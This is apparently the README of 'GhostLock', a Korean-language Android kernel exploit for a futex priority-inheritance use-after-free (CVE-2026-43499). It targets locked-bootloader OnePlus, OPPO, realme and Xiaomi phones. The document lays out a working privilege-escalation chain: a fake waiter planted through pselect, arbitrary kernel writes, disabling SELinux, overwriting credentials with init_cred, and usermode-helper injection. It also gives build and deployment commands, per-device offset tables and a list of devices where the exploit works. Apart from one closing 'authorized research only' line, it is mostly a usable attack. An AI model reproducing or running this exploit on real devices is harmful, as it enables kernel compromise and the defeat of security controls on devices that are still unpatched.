
4.19.152-perf+ Android 커널용 GhostLock(CVE-2026-43499) 어댑터
잠금 부트로더가 적용된 OnePlus/OPPO/realme 기기를 위한 커널 익스플로잇입니다. 부트로더를 잠금 해제하거나 부트 이미지를 수정하지 않고도 루트 권한 획득 및 KernelSU 설치를 달성합니다. 다중 기기 오프셋 테이블을 통한 커널 버전 런타임 자동 감지 기능을 제공합니다.
CVE-2026-43499 — Futex PI (우선순위 상속) Use-After-Free
Linux 커널 2.6.39 ~ 7.1에 영향을 미칩니다. 메인라인 7.1(커밋 3bfdc63936dd)에서 수정되었습니다. Android GKI 6.12.x는 여전히 취약합니다.
pselect6 시스템 콜은 fd_set 데이터를 커널 스택에 복사합니다. futex PI 대기자(waiter) 메커니즘과 결합하면, 해제된 스택 프레임이 rt_mutex_waiter 구조체로 재할당될 수 있습니다. 이후 PI 체인 탐색 중 발생하는 rb-tree 리밸런싱이 제어된 값을 임의의 커널 주소에 기록합니다.
| 기기 | SoC | 커널 | 비고 |
|---|---|---|---|
| OnePlus 15T (PLZ110) | SM8845 | 6.12.38-...-ab14552068 | Ace 6T와 동일한 커널. QEMU 검증: SP diff=-64. |
pselect 스택 오버레이는 해제된 rt_mutex_waiter가 stack_fds 버퍼의 사용자 제어 가능 영역에 위치할 때만 동작합니다. 대기자가 위치하는 곳은 커널 버전이 아니라 컴파일러 출력(PGO + LTO)에 의해 결정됩니다. 자세한 내용은 Stack Layout을 참조하세요.
기기 기능에 따라 자동으로 선택되는 두 가지 루트 경로:
off_ashmem_misc_fops != 0 필요 (BSS에 정적 miscdevice가 있는 C ashmem).
PI write (mode=4) → redirect miscdevice fops to fake fops (via W0 pi_tree)
configfs r/w established
→ pipe physrw (1-byte precise kernel r/w)
→ SELinux enforcing = 0 (single byte, no policycap corruption)
→ UMH: inject work_struct into system_unbound_wq
kernel executes /data/local/tmp/a/e --umh as UID 0
→ root script → ksud late-load → KSU installed
경로 B 대비 장점:
selinux_state.policycap을 손상시키지 않음 (OnePlus 13의 네트워크 문제 해결)현재 사용 가능한 기기: OnePlus 13 (커널 6.6, C ashmem). Rust ashmem 기기(6.12 GKI)에서는 사용 불가 — miscdevice가 힙에 할당되어 컴파일 시 주소를 예측할 수 없음.
UMH 오프셋 또는 C ashmem misc_fops를 사용할 수 없을 때 사용됩니다.
Write 1 (mode=1) → SELinux enforcing = 0
(low byte of kernel ptr = 0x00, 8-byte write)
Write 2 (mode=2) → task->cred = init_cred
(uid=0, all capabilities)
Root shell → ksud late-load (KernelSU LKM)
→ su -c load_policy (fix SELinux policycap)
→ dynamic manager registration
App (seccomp) → Write 1 (no perf needed)
→ mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
→ adb shell: full exploit (perf works, no seccomp)
→ root → KSU → network fix
BOOT_COMPLETED → BootCompletedReceiver
├─ su available → skip (soft reboot / already rooted)
└─ no root → GhostlockService → setsid exploit --bootstrap
NFDS=320일 때 커널의 core_sys_select는 256바이트 stack_fds 버퍼를 할당합니다:
stack_fds: 0 5 10 14 | 15 20 25 29
├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►
익스플로잇은 가짜 waiter 필드(task, lock)를 fd_set 입력 비트맵에 기록합니다. 이 방식이 동작하려면 waiter의 task 및 lock 필드가 제어 가능한 영역(word 0-14)에 있어야 합니다.
Ace 6T ✅ (waiter at word 2):
░░████████████████░░│░░░░░░░░░░░░░░░░░░
▲waiter t l │
task/lock controllable
RMX5070 ❌ (waiter at word 13):
░░░░░░░░░░░░░████│██████████████░░░░░░
▲ │ t l
waiter task/lock ZEROED
실현 가능 규칙: waiter word + 11(rt_waiter_node의 lock 오프셋)이 14 이하여야 합니다. 최대 실현 가능 waiter word는 3입니다.
waiter 위치는 SoC 브랜치마다 다른 컴파일러의 스택 프레임 레이아웃(PGO + LTO + BOLT 최적화 프로파일)에 의해 결정됩니다. 동일한 커널 버전이라도 SoC마다 레이아웃이 다를 수 있습니다.
모든 커널 쓰기는 이미지의 선형 매핑(linear-map) 별칭을 통해 이루어집니다:
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)
부트로더가 kernel_phys_load를 선택하므로 SoC마다 값이 달라지며 boot.img나 DT에는 포함되지 않습니다. struct kernel_offsets의 기기별 필드이며, 0이면 target.h 기본값을 사용합니다.
| SoC | kernel_phys_load |
|---|---|
| SM8845 (Ace 6T, 15T) | 0xa8000000 |
| SM8750 (OnePlus 13, OPPO Pad 4 Pro) | 0xa8000000 |
| SM8850 (OnePlus 15, Xiaomi 17) | 0xc7800000 |
잘못된 값은 조용히 실패합니다 — 쓰기가 매핑된 RAM에는 여전히 이루어지므로 크래시가 없고 효과도 없습니다. PSELECT_SHIFT 문제로 오인하지 마세요. 동일 모델의 루팅된 기기에서 값을 확인하세요 (Kernel code는 _stext에서 시작하며 _text는 0x10000 더 낮습니다):
su -c 'grep -i "Kernel code" /proc/iomem' # c7810000-... -> 0xc7800000
커널에 따라 waiter가 제어 가능한 영역 내의 서로 다른 위치에 배치됩니다. PSELECT_SHIFT를 사용해 조정하세요:
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e
# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e
# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e
check_feasibility.py의 waiter word는 신뢰할 수 없습니다. 프레임 산술은 정확하지만 0-저장(zero-store)에서 추론하는 구조체 오프셋은 정확하지 않습니다 (OnePlus 15에서는 word 3을 주지만 실제 측정값은 word 2입니다). 잘못된 시프트는 추측할 때마다 커널 패닉을 유발하므로, 루팅된 기기에서 직접 측정하세요:
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
# PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
-O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
src/core/main.c src/core/util.c src/core/slide.c \
src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
src/core/miniadb.c src/core/umh_root.c \
-o ghostlock -fPIE -pie -pthread
GhostLock은 루트 권한만 제공합니다. KernelSU 설치는 ksud에 의존합니다 — 각 KMI 버전에 대한 kernelsu.ko 모듈이 내장된 바이너리입니다. 루트 스크립트는 기기에서 ksud를 찾아 ksud late-load --kmi android16-6.12를 호출합니다.
| 방법 | 절차 |
|---|---|
| (권장) |
ksud가 없으면 익스플로잇은 루트(uid=0)를 획득하지만 KSU는 설치되지 않으며
su도 유지되지 않습니다.
# Enable ADB TCP (use any port)
adb tcpip 5555
# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"
첫 번째 탈옥 성공 후 persist.adb.tcp.port가 resetprop을 통해 설정되며, 이후 부팅은 완전히 자동으로 이루어집니다.
/data/local/tmp/a/e # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap # Phone standalone (app context)
/data/local/tmp/a/e --write1 # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e # Override stack layout shift
중요: 최상의 KernelSnitch 타이밍 신뢰성을 위해 부팅 후 30초 이내에 실행하세요.
boot.img만 있으면 됩니다 — 루트 권한이나 기기 접근이 필요 없습니다.
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Global symbols (kallsyms)
python tools/extract_target.py # 28 offsets, auto-validated
# 3. Struct fields (BTF)
python tools/extract_btf.py kernel # 57 offsets, auto-validated
# 4. Add to offsets.h, rebuild
핵심 익스플로잇은 기기와 무관합니다(device-agnostic). 적용 시 다음이 필요할 수 있습니다:
VA_BITS가 다른 경우 (48 vs 39) → target.h 메모리 레이아웃 업데이트kernel_phys_load가 다른 경우 → /proc/iomem에서 읽거나 KPHYS= 환경 변수 사용common.h 조정PSELECT_SHIFT가 다른 경우 → QEMU kprobe 테스트로 결정STRUCT_OFFSETS_6_6 또는 STRUCT_OFFSETS_6_12 사용UMH(call_usermodehelper) 루트 경로에는 다음이 필요합니다:
off_system_unbound_wq 및 off_call_usermodehelper_exec_workoff_ashmem_misc_fops = ashmem_misc + 0x10 (C ashmem 전용, BSS의 miscdevice.fops)승인된 보안 연구 및 교육 목적으로만 사용하세요.
| 기기 | SoC | 커널 | 상태 |
|---|
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14275539 | 작동 |
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14552068 | 작동 |
| OnePlus 15 (CPH2749) | SM8850 | 6.12.23-...-ab14541642 | 작동 |
| Xiaomi 17 (pudding) | SM8850 | 6.12.23-...-abogki463945075 | 작동 |
| Xiaomi 17 (pudding) | SM8850 | 6.12.69-...-abogki514973465 | 작동 (2026년 8월 업데이트) |
| OnePlus 13 (IN2060) | SM8750 | 6.6.89-...-abogki446052083 | 작동 (PSELECT_SHIFT=-2) |
| OPPO Pad 4 Pro | SM8750 | 6.6.89-...-ab14358676 | 작동 (PSELECT_SHIFT=-2) |
| 기기 | SoC | 커널 | 사유 |
|---|
| OPPO Find X9 Ultra | SM8750 | 6.12.58-android16-6 | PGO가 do_futex 프레임을 제거 → SP diff=+32, waiter word=14. 안전한 시프트가 없음. |
| OPPO Find X7 | — | 6.1.157 | 6.1 GKI: waiter가 word 13에 위치 (모든 6.1 OPLUS/GKI 기기) |
| realme RMX5070 | SM6650 | 6.1.141 | 6.1 GKI: waiter가 word 13에 위치 |
| realme RMX3852 | SM8635 | 6.1.141 | RMX5070과 동일한 6.1 브랜치 |
| OnePlus 13R / Ace 5 | SM8650 | 6.1.x | 동일한 6.1 브랜치 |
| OnePlus 12 | SM8650 | 6.1.141 | 6.1 GKI: do_futex가 PGO로 인라인됨, waiter word=13/19 |
| OPPO Pad 5 (OPD2502) | MT6878 | 6.1.134 | 동일한 6.1 브랜치 |
| OPPO PKW110 | — | 5.15.180 | do_futex 프레임 0x140 (정상의 4.5배) → waiter word=-29, 도달 불가 |
| Motorola Edge 60 Fusion | MT6878 | 6.1.145 | 6.1 GKI: waiter가 word 13에 위치 (OPLUS 아님, 동일한 결과) |
| iQOO Z9 5G | — | 5.15.178 | do_futex 프레임이 너무 커서 waiter 도달 불가. OPLUS 기기가 아님 (vivo) |
ReSukiSU 또는 이 포크를 설치하세요. 공식 릴리스에 libksud.so가 포함되어 있습니다. |
| CI 릴리스 | ReSukiSU CI에서 ksud-aarch64-linux-android.zip을 다운로드하세요 |
| 출처 | 개수 | 방법 |
|---|
| kallsyms (전역 심볼) | 28 | extract_target.py |
| BTF (구조체 필드) | 57 | extract_btf.py |
| 파생 (동일 구조체, 다른 용도) | 9 | 자동 |
| 상수 (고정 값) | 12 | 추출 불필요 |
| 파일 | 설명 |
|---|
src/core/main.c | 익스플로잇 진입점, Write 1/2, UMH 경로, 부트스트랩, 루트 스크립트 |
src/core/fops.c | pselect 경로, PI 쓰기 메커니즘, CFI 스테이지 |
src/core/util.c | 힙 스프레이, kernelsnitch, slab 드레인, 페이로드 설정 |
src/core/pipe_physrw.c | 파이프 버퍼 기반 물리 메모리 r/w (configfs r/w 업그레이드) |
src/core/umh_root.c | workqueue 주입을 통한 UMH 루트 + --umh 핸들러 |
src/core/miniadb.c | 미니 ADB 클라이언트 (TCP + RSA 인증) |
src/core/common.h | 타이밍 파라미터, 매크로 |
src/core/target.h | 메모리 레이아웃, 구조체 필드 기본값 (6.12) |
src/core/runtime_struct_offsets.h | 기기별 구조체 필드 오버라이드 (6.6 vs 6.12) |
src/devices/offsets.h | 모든 기기 오프셋 테이블 + STRUCT_OFFSETS_* 매크로 집계 |
src/devices/<device>/offsets.h | 기기별 커널 오프셋 엔트리 |
src/core/slide.c | SLIDE 커널 주소 누출 |
src/core/root.c | 루트 셸 설정 (pipe physrw를 통한 직접 cred 패칭) |
tools/extract_target.py | kallsyms에서 오프셋 추출 |
tools/extract_btf.py | BTF에서 구조체 오프셋 추출 |
tools/check_feasibility.py | 스택 레이아웃 실현 가능성 검사기 |